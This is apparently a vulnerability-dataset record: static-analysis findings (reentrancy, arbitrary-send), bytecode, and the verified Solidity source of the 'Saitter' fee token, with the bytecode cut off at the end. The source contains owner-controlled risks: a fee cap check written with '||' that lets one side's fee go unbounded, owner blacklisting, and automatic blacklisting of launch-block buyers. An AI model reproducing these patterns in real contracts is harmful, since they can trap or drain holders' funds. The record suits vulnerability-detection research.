082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b7f4552523a205472792032206d696e75746573206c617465720000000000000000600082015250565b613a0481613501565b8114613a0f57600080fd5b50565b613a1b81613513565b8114613a2657600080fd5b50565b613a328161353f565b8114613a3d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059d4f49dd33987c648c0fa3a9f89d5b0bd0de76b9c0172ae062b13ebcda465d864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,388
0x38c02e66ee54485e29a6df1ca186847e7627780b
/** *Submitted for verification at Etherscan.io on 2022-03-28 */ /** https://t.me/saitterPportal */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Saitter is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Saitter";// string private constant _symbol = "Saitter";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 2;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 2;// uint256 private _taxFeeOnSell = 10;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xC8e673A81192641498F46f8C3932784f02480A99);// address payable private _marketingAddress = payable(0xC8e673A81192641498F46f8C3932784f02480A99);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 20000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000* 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function EnableTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd146102985780631d97b7cd146102c357806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a1565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b6040516102279190613667565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613101565b610857565b6040516102649190613631565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f919061364c565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138a9565b60405180910390f35b3480156102cf57600080fd5b506102d86108ab565b005b3480156102e657600080fd5b5061030160048036038101906102fc91906130ae565b610964565b60405161030e9190613631565b60405180910390f35b34801561032357600080fd5b5061032c610a96565b60405161033991906138a9565b60405180910390f35b34801561034e57600080fd5b50610357610a9c565b604051610364919061391e565b60405180910390f35b34801561037957600080fd5b50610382610aa5565b60405161038f9190613616565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190613014565b610acb565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131ea565b610bbb565b005b3480156103f657600080fd5b506103ff610c6c565b005b34801561040d57600080fd5b5061042860048036038101906104239190613014565b610d3d565b60405161043591906138a9565b60405180910390f35b34801561044a57600080fd5b50610453610d8e565b005b34801561046157600080fd5b5061047c60048036038101906104779190613217565b610ee1565b005b34801561048a57600080fd5b50610493610fd8565b6040516104a091906138a9565b60405180910390f35b3480156104b557600080fd5b506104be610fde565b6040516104cb9190613616565b60405180910390f35b3480156104e057600080fd5b506104e9611007565b6040516104f691906138a9565b60405180910390f35b34801561050b57600080fd5b5061051461100d565b6040516105219190613667565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c9190613217565b61104a565b005b34801561055f57600080fd5b5061057a60048036038101906105759190613244565b6110e9565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613101565b611212565b6040516105b09190613631565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190613014565b611230565b6040516105ed9190613631565b60405180910390f35b34801561060257600080fd5b5061060b611250565b005b34801561061957600080fd5b50610634600480360381019061062f9190613141565b611329565b005b34801561064257600080fd5b5061064b611463565b60405161065891906138a9565b60405180910390f35b34801561066d57600080fd5b506106886004803603810190610683919061306e565b611469565b60405161069591906138a9565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c09190613217565b6114f0565b005b3480156106d357600080fd5b506106ee60048036038101906106e99190613014565b6115e7565b005b6106f86117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137c9565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613c9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bf5565b915050610788565b5050565b60606040518060400160405280600781526020017f5361697474657200000000000000000000000000000000000000000000000000815250905090565b600061086b6108646117a9565b84846117b1565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6108b36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906137c9565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061097184848461197c565b6005600061097d6117a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8b57610a8a846109d56117a9565b610a858560405180606001604052806028815260200161421160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3b6117a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123509092919063ffffffff16565b6117b1565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906137c9565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906137c9565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cad6117a9565b73ffffffffffffffffffffffffffffffffffffffff161480610d235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0b6117a9565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2c57600080fd5b6000479050610d3a816123b4565b50565b6000610d87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124af565b9050919050565b610d966117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906137c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ee96117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906137c9565b60405180910390fd5b6103e8670de0b6b3a7640000610f8c9190613a35565b811015610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590613889565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600781526020017f5361697474657200000000000000000000000000000000000000000000000000815250905090565b6110526117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906137c9565b60405180910390fd5b8060198190555050565b6110f16117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611175906137c9565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111a891906139df565b9050600083866111b891906139df565b90506019821115806111cb575060198111155b61120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190613789565b60405180910390fd5b505050505050565b600061122661121f6117a9565b848461197c565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112916117a9565b73ffffffffffffffffffffffffffffffffffffffff1614806113075750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ef6117a9565b73ffffffffffffffffffffffffffffffffffffffff16145b61131057600080fd5b600061131b30610d3d565b90506113268161251d565b50565b6113316117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5906137c9565b60405180910390fd5b60005b8383905081101561145d5781600560008686858181106113e4576113e3613c9c565b5b90506020020160208101906113f99190613014565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145590613bf5565b9150506113c1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114f86117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c906137c9565b60405180910390fd5b6103e8670de0b6b3a764000061159b9190613a35565b8110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d490613869565b60405180910390fd5b8060188190555050565b6115ef6117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611673906137c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e390613709565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188890613729565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196f91906138a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390613809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5390613689565b60405180910390fd5b60008111611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a96906137e9565b60405180910390fd5b611aa7610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b155750611ae5610fde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204f57601660149054906101000a900460ff16611ba457611b36610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a906136a9565b60405180910390fd5b5b601754811115611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be0906136e9565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c8d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc390613749565b60405180910390fd5b6008544311158015611d2b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dbd57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1b576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ec85760185481611e7d84610d3d565b611e8791906139df565b10611ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebe90613829565b60405180910390fd5b5b6000611ed330610d3d565b9050600060195482101590506017548210611eee5760175491505b808015611f085750601660159054906101000a900460ff16155b8015611f625750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f78575060168054906101000a900460ff165b8015611fce5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120245750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204c576120328261251d565b6000479050600081111561204a57612049476123b4565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a95750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a85750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121b7576000905061233e565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122625750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227a57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123255750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233d57600b54600d81905550600c54600e819055505b5b61234a848484846127a5565b50505050565b6000838311158290612398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238f9190613667565b60405180910390fd5b50600083856123a79190613ac0565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff